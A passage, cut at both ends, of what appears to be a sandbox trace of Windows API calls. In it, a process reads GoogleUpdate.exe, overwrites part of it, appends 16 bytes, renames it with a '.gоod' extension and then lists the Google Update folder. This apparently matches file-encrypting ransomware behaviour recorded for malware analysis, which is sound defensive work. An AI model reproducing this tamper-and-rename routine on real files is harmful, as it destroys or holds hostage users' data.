ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650)) returned 1 [0115.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0115.619] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x36 [0115.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0115.619] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0115.619] GetFileType (hFile=0x768) returned 0x1 [0115.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0115.619] GetFileType (hFile=0x768) returned 0x1 [0115.619] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0115.619] ReadFile (in: hFile=0x768, lpBuffer=0x383d938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x383d938*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0116.389] CloseHandle (hObject=0x768) returned 1 [0116.389] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x36 [0116.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0116.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0116.389] GetFileType (hFile=0x768) returned 0x1 [0116.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0116.389] GetFileType (hFile=0x768) returned 0x1 [0116.389] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x25650 [0116.389] WriteFile (in: hFile=0x768, lpBuffer=0x348f0a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x348f0a8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0116.390] CloseHandle (hObject=0x768) returned 1 [0116.390] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x36 [0116.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0116.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0116.391] GetFileType (hFile=0x768) returned 0x1 [0116.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0116.391] GetFileType (hFile=0x768) returned 0x1 [0116.391] ReadFile (in: hFile=0x768, lpBuffer=0x3491380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3491380*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0116.735] CloseHandle (hObject=0x768) returned 1 [0116.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x36 [0116.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0116.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0116.735] GetFileType (hFile=0x768) returned 0x1 [0116.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0116.735] GetFileType (hFile=0x768) returned 0x1 [0116.735] WriteFile (in: hFile=0x768, lpBuffer=0x33500a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x33500a0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0116.736] CloseHandle (hObject=0x768) returned 1 [0116.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x36 [0116.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe.gоod", lpFilePart=0x0) returned 0x3b [0116.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0116.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x41cae772, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25660)) returned 1 [0116.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0116.736] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\GoogleUpdate.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\googleupdate.exe.gоod")) returned 1 [0116.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0116.737] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5", lpFilePart=0x0) returned 0x2e [0116.737] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.758] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.766] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleCrashHandler.exe", cAlternateFileName="GOOGLE~3.EXE")) returned 1 [0116.766] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x59850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleCrashHandler64.exe", cAlternateFileName="GOOGLE~4.EXE")) returned 1 [0116.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0116.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateBroker.exe", cAlternateFileName="GO664E~1.EXE")) returned 1 [0116.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2a650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateComRegisterShell64.exe", cAlternateFileName="GOBD5D~1.EXE")) returned 1 [0116.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x92c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateCore.exe", cAlternateFileName="GOOGLE~2.EXE")) returned 1 [0116.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateHelper.msi", cAlternateFileName="GOOGLE~1.MSI")) returned 1 [0116.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateOnDemand.exe", cAlternateFileName="GOF5E2~1.EXE")) returned 1 [0116.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc8ddbb3d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOFB2B~1.EXE")) returned 1 [0116.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateWebPlugin.exe", cAlternateFileName="GOF8A8~1.EXE")) returned 1 [0116.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1abe50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdate.dll", cAlternateFileName="")) returned 1 [0116.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_am.dll", cAlternateFileName="GOOPDA~1.DLL")) returned 1 [0116.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ar.dll", cAlternateFileName="GOOPDA~2.DLL")) returned 1 [0116.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_bg.dll", cAlternateFileName="GOOPDA~3.DLL")) returned 1 [0116.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_bn.dll", cAlternateFileName="GOOPDA~4.DLL")) returned 1 [0116.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ca.dll", cAlternateFileName="GO29C7~1.DLL")) returned 1 [0116.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_cs.dll", cAlternateFileName="GO58E6~1.DLL")) returned 1 [0116.769] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_da.dll", cAlternateFileName="GODC3A~1.DLL")) returned 1 [0116.769] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_de.dll", cAlternateFileName="GOAC0F~1.DLL")) returned 1 [0116.769] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_el.dll", cAlternateFileName="GO5382~1.DLL")) returned 1 [0116.769] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_en-GB.dll", cAlternateFileName="GO5AC6~1.DLL")) returned 1 [0116.769] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_en.dll", cAlternateFileName="GOB81A~1.DLL")) returned 1 [0116.769] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_es-419.dll", cAlternateFileName="GOB840~1.DLL")) returned 1 [0116.769] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_es.dll", cAlternateFileName="GOE1FA~1.DLL")) returned 1 [0116.769] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_et.dll", cAlternateFileName="GO372F~1.DLL")) returned 1 [0116.770] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fa.dll", cAlternateFileName="GO664E~1.DLL")) returned 1 [0116.770] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fi.dll", cAlternateFileName="GOBE63~1.DLL")) returned 1 [0116.770] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fil.dll", cAlternateFileName="GOD7F9~1.DLL")) returned 1 [0116.770] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fr.dll", cAlternateFileName="GOB0D5~1.DLL")) returned 1 [0116.770] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_gu.dll", cAlternateFileName="GOA5CA~1.DLL")) returned 1 [0116.770] FindNextFileW 